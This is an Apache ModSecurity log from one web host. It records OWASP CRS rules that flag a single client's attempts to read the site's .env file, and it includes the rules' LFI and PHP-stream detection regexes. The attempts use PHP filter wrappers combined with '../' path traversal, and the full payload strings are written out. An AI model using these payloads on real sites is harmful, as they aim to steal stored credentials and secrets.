[Fri Jul 17 08:55:11.859611 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
[Fri Jul 17 08:55:11.860639 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
[Fri Jul 17 08:55:11.860769 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.861051 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
[Fri Jul 17 08:55:11.862439 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=LTWyE_caZ6OSHj6gjS7lQZbzxgkvQzWVotXPxOHuctGQofLgNZe8unr8xUXI-gVobzP6Y1W6KdjzImFP4bzvaFF1QI7dgAyK1-5MTOivmxFz_ohkt8m8npseo8I6DqCSrcn7Cxfl1xkY8PL1X6VDU5NPyO0XwbZQOji3bTA58xfJZIKQ9MFzwRtXKfiZC1uQre5zOFJo1C_vM2mgUK7PUrmc0xX0b0zNNeG-I0IkIcXKvhhLumatxLykGdPsZpoMLk0jvwzcuoyB8DKhxUOQZq7_&ref=FET7MTVVTI7H7CU7HIOINRD64PDVHMWZJLO3EJTWKLKMPRK2W464P2FIGWQB43RZN34YFXADONM5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.862483 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.862512 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=JnX3JM0gj71LX6r6oCE-1U56hse-RXTVURJXVjPGHipR6J1wyQPJpHAqbfe7GviZwAIAzmbQ8_PhWdIWHB3BwTchCuK2tfQ8UzmxMH23th58UW35JXmvaBnKCINplf6s0YobzhRe9eDT1zz6NBe222sGw7VEwBf1TqBqMLSR4PMf9I7L0_xUSft97jIlLxaThf3YcFeUgcm3q6RYBrC33S21GYhrBizHQhTbsqCNV3TTVgBsa3oxx7QOH7h9l_-dTyVD5R4pPGES6xCnTQXsfPMJ&ts=PSKUGKANW6OJFZHWAHARZO2T2M6AR7Y3RDBYRB5ZNE7CBMDBFQQSF5RIB3I6FIG7OGWK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.862529 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.base64-encode/resource=../../.env&anything=LTWyE_caZ6OSHj6gjS7lQZbzxgkvQzWVotXPxOHuctGQofLgNZe8unr8xUXI-gVobzP6Y1W6KdjzImFP4bzvaFF1QI7dgAyK1-5MTOivmxFz_ohkt8m8npseo8I6DqCSrcn7Cxfl1xkY8PL1X6VDU5NPyO0XwbZQOji3bTA58xfJZIKQ9MFzwRtXKfiZC1uQre5zOFJo1C_vM2mgUK7PUrmc0xX0b0zNNeG-I0IkIcXKvhhLumatxLykGdPsZpoMLk0jvwzcuoyB8DKhxUOQZq7_&ref=FET7MTVVTI7H7CU7HIOINRD64PDVHMWZJLO3EJTWKLKMPRK2W464P2FIGWQB43RZN34YFXADONM54PIXS5DNVRLM5PPPZ4PCUC4A..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.862552 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.862565 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.base64-encode/resource=../../.env&anything=ltwye_caz6oshj6gjs7lqzbzxgkvqzwvotxpxohuctgqoflgnze8unr8xuxi-gvobzp6y1w6kdjzimfp4bzvaff1qi7dgayk1-5mtoivmxfz_ohkt8m8npseo8i6dqcsrcn7cxfl1xky8pl1x6vdu5npyo0xwbzqoji3bta58xfjzikq9mfzwrtxkfizc1uqre5zofjo1c_vm2mguk7purmc0xx0b0znneg-i0ikicxkvhhlumatxlykgdpszpomlk0jvwzcuoyb8dkhxuoqzq7_&ref=fet7mtvvti7h7cu7hioinrd64pdvhmwzjlo3ejtwklkmprk2w464p2figwqb43rzn34yfxadonm54pixs5dnvrlm5pppz4pcuc4a..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.862586 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.862607 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.862613 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=JnX3JM0gj71LX6r6oCE-1U56hse-RXTVURJXVjPGHipR6J1wyQPJpHAqbfe7GviZwAIAzmbQ8_PhWdIWHB3BwTchCuK2tfQ8UzmxMH23th58UW35JXmvaBnKCINplf6s0YobzhRe9eDT1zz6NBe222sGw7VEwBf1TqBqMLSR4PMf9I7L0_xUSft97jIlLxaThf3YcFeUgcm3q6RYBrC33S21GYhrBizHQhTbsqCNV3TTVgBsa3oxx7QOH7h9l_-dTyVD5R4pPGES6xCnTQXsfPMJ&ts=PSKUGKANW6OJFZHWAHARZO2T2M6AR7Y3RDBYRB5ZNE7CBMDBFQQSF5RIB3I6FIG7OGWKZSZJXD44YQA2P36XJ2T57PF6QG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.862657 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=jnx3jm0gj71lx6r6oce-1u56hse-rxtvurjxvjpghipr6j1wyqpjphaqbfe7gvizwaiazmbq8_phwdiwhb3bwtchcuk2tfq8uzmxmh23th58uw35jxmvabnkcinplf6s0yobzhre9edt1zz6nbe222sgw7vewbf1tqbqmlsr4pmf9i7l0_xusft97jillxathf3ycfeugcm3q6rybrc33s21gyhrbizhqhtbsqcnv3ttvgbsa3oxx7qoh7h9l_-dtyvd5r4ppges6xcntqxsfpmj&ts=pskugkanw6ojfzhwaharzo2t2m6ar7y3rdbyrb5zne7cbmdbfqqsf5rib3i6fig7ogwkzszjxd44yqa2p36xj2t57pf6qg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.862687 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.862716 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.862941 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.863037 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.863925 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.863970 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.864075 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.864075 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.864344 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l950wAAAAw"]
[Fri Jul 17 08:55:11.864359 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sJwAAABQ"]
[Fri Jul 17 08:55:11.867922 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=pkXyBFmV1Sy-uJspWt3eNqZB0NBtqZl5w8A5iF9A8BFIeqMfeDU6dFOs0dPQ6qiP6Px4DIyYUiWAqIS1tR9S2AGZv1N8VbUY5IbNwgSg-lngqE2UryJv9Sx2jy6DJ_BEBV0H2lF6zghYNX9uRX1hX6NIJp_nX-A9ujHFjfcrhl862MHXsMRU9s0TszoL9HZKQQLHsvuf1PIaFDqpsrNzIqf9F_mXM1yK-IqFCWm4MmE5KJ__xAUplA1OLy3gs0VxNcbmG_z6NKQgN94IfgB7vWz9&anything=7RNHDPUQ7KWIWDZ6VJATVS44ZUATVGJDQBG3EP6KAWW4EGAKIUWFMFNWW5OCNFZ333CTVH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
[Fri Jul 17 08:55:11.867973 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
[Fri Jul 17 08:55:11.868019 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.base64-encode/resource=../../../.env&junk=pkXyBFmV1Sy-uJspWt3eNqZB0NBtqZl5w8A5iF9A8BFIeqMfeDU6dFOs0dPQ6qiP6Px4DIyYUiWAqIS1tR9S2AGZv1N8VbUY5IbNwgSg-lngqE2UryJv9Sx2jy6DJ_BEBV0H2lF6zghYNX9uRX1hX6NIJp_nX-A9ujHFjfcrhl862MHXsMRU9s0TszoL9HZKQQLHsvuf1PIaFDqpsrNzIqf9F_mXM1yK-IqFCWm4MmE5KJ__xAUplA1OLy3gs0VxNcbmG_z6NKQgN94IfgB7vWz9&anything=7RNHDPUQ7KWIWDZ6VJATVS44ZUATVGJDQBG3EP6KAWW4EGAKIUWFMFNWW5OCNFZ333CTVHVXSSLVVQBBTO67S3JRJQ2EUBO4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
